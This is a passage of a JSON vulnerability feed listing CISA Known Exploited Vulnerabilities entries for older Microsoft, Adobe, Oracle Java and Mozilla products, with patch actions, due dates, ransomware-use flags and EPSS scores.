exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-3333","cveId":"CVE-2010-3333","aliases":[],"kind":"vulnerability","title":"Microsoft Office Stack-based Buffer Overflow Vulnerability","summary":"A stack-based buffer overflow vulnerability exists in the parsing of RTF data in Microsoft Office and earlier allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89389,"percentile":0.99782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-3333","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-3333 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-3333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-0611","cveId":"CVE-2011-0611","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Remote Code Execution Vulnerability","summary":"Adobe Flash Player contains a vulnerability that allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted Flash content.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9941,"percentile":0.99941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-0611","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-0611 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-0611, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-1889","cveId":"CVE-2011-1889","aliases":[],"kind":"vulnerability","title":"Microsoft Forefront TMG Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in the Forefront Threat Management Gateway (TMG) Firewall Client Winsock provider that could allow code execution in the security context of the client application.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Forefront Threat Management Gateway (TMG)","stacks":["Microsoft","Forefront Threat Management Gateway (TMG)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4902,"percentile":0.98872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-1889","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-1889 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-1889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-3544","cveId":"CVE-2011-3544","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability","summary":"An access control vulnerability exists in the Applet Rhino Script Engine component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE JDK and JRE","stacks":["Oracle","Java","Java SE JDK and JRE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96653,"percentile":0.99883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-3544","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-3544 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-3544, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-0507","cveId":"CVE-2012-0507","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability","summary":"An incorrect type vulnerability exists in the Concurrency component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98189,"percentile":0.99914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-0507","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-0507 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-0507, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1535","cveId":"CVE-2012-1535","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Arbitrary Code Execution Vulnerability","summary":"Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute arbitrary code or cause a denial of service via crafted SWF content.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70384,"percentile":0.99382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1535","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1535 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1723","cveId":"CVE-2012-1723","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability","summary":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Hotspot.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93566,"percentile":0.9984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1723","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1723 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-1856","cveId":"CVE-2012-1856","aliases":[],"kind":"vulnerability","title":"Microsoft Office MSCOMCTL.OCX Remote Code Execution Vulnerability","summary":"The TabStrip ActiveX control in the Common Controls in MSCOMCTL.OCX in Microsoft Office allows remote attackers to execute arbitrary code via a crafted (1) document or (2) web page that triggers system-state corruption.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72032,"percentile":0.99425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-1856","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-1856 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-1856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-4681","cveId":"CVE-2012-4681","aliases":[],"kind":"vulnerability","title":"Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability","summary":"The Java Runtime Environment (JRE) component in Oracle Java SE allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Java SE","stacks":["Oracle","Java","Java SE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98536,"percentile":0.99921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2012-4681","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2012-4681 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-4681, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0632","cveId":"CVE-2013-0632","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Authentication Bypass Vulnerability","summary":"An authentication bypass vulnerability exists in Adobe ColdFusion which could result in an unauthorized user gaining administrative access.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93076,"percentile":0.99832,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0632","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0632 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0640","cveId":"CVE-2013-0640","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Memory Corruption Vulnerability","summary":"An memory corruption vulnerability exists in the acroform.dll in Adobe Reader that allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86927,"percentile":0.99744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0640","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0640 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0641","cveId":"CVE-2013-0641","aliases":[],"kind":"vulnerability","title":"Adobe Reader Buffer Overflow Vulnerability","summary":"A buffer overflow vulnerability exists in Adobe Reader which allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader","stacks":["Adobe","Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.32346,"percentile":0.98314,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0641","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0641 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-1347","cveId":"CVE-2013-1347","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Remote Code Execution Vulnerability","summary":"This vulnerability may corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user within Internet Explorer.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7774,"percentile":0.99564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-1347","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-1347 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-1347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-1675","cveId":"CVE-2013-1675","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox Information Disclosure Vulnerability","summary":"Mozilla Firefox does not properly initialize data structures for the nsDOMSVGZoomEvent::mPreviousScale and nsDOMSVGZoomEvent::mNewScale functions, which allows remote attackers to obtain sensitive information from process memory via a crafted web site.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06696,"percentile":0.93862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-1675","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-1675 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-1675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3346","cveId":"CVE-2013-3346","aliases":[],"kind":"vulnerability","title":"Adobe Reader and Acrobat Memory Corruption Vulnerability","summary":"Adobe Reader and Acrobat contain a memory corruption vulnerability which can allow attackers to execute arbitrary code or cause a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Reader and Acrobat","stacks":["Adobe Acrobat and Reader","Adobe","Reader and Acrobat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78913,"percentile":0.9959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 